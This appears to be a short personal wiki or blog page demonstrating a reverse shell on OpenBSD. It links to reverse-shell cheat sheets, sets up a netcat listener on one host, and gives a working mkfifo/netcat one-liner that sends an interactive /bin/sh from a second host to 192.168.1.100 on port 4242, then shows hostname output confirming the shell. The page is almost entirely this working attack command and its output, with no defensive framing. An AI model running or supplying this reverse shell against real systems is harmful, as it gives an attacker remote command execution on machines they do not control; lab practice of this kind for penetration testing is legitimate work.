OpenBSD - ReverseShell
Reverse Shells
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
- https://kb.systemoverlord.com/security/postex/reverse/
Test it
Listen on Host A
Set Lister on Host A (192.168.1.100)
hostA # nc -l 4242
Start Reverse Shell on Host B
hostB # rm /tmp/f; mkfifo /tmp/f; /bin/sh -i 2>&1 </tmp/f |nc 192.168.1.100 4242 >/tmp/f
here we are
hostA # hostname
hostA.somewhere
hostA # nc -l 4242
hostB # hostname
hostB.somewhere
nice ;)
Any Comments ?
sha256: 0a5d01e633e102b0f3e258db89028946a247ef2296eab8dbf8819bc7472779c3